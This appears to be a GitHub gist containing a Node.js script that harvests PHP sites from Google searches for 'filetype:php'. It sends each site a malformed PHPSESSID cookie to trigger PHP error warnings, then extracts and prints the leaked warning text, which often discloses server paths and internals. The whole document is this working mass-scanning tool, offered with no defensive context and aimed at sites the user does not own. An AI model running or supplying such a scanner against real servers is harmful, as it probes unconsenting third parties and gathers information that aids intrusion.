Skip to content

Instantly share code, notes, and snippets.

@yeikos
Created October 19, 2013 14:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yeikos/7056448 to your computer and use it in GitHub Desktop.
Save yeikos/7056448 to your computer and use it in GitHub Desktop.
var http = require('http'),
url = require('url'),
querystring = require('querystring');
search('filetype:php', 0, handler);
function handler(word, page, addreses) {
var regex = /<b>warning<\/b>:\s*(.*?)<br \/>/mgi,
counter = addreses.length-1;
addreses.forEach(function(address) {
request(address, null, {
Cookie: 'PHPSESSID=$;'
}, function(response) {
var matches,
result = [],
hostname = url.parse(address).hostname;
while ((matches = regex.exec(response)))
result.push(matches[1]);
if (result.length) {
console.log("[" + result.length + "]", hostname, "\n");
console.log(result.join("\n\n"));
} else {
console.log("[0]", hostname);
}
if (!(counter--))
search(word, ++page, handler);
});
});
}
function search(word, page, callback) {
console.log('\n### page', page, "\n");
var regex = /"\/url\?q=(.*?)"/g;
return request('http://www.google.es/search', {
q: word,
start: Number(page) * 10
}, null, function(response) {
var matches, result = [];
while ((matches = regex.exec(response)))
if (!/googleusercontent/.test(matches[1]))
result.push(matches[1]);
callback(word, page, result);
});
}
function request(address, data, headers, callback) {
var key;
address = url.parse(address);
address.query = address.query || {};
if (data && typeof data === 'object')
for (key in data)
address.query[key] = data[key];
var options = {
host: address.hostname,
port: address.port || 80,
path: address.pathname + '?' + querystring.stringify(address.query),
method: 'GET',
headers: (headers && typeof headers === 'object') ? headers : {}
};
return http.request(options, function(response) {
var data = '';
response.setEncoding('utf8');
response.on('data', function(buffer) {
data += buffer;
}).on('end', function() {
callback(data);
});
}).on('error', function() {
callback('');
}).end();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment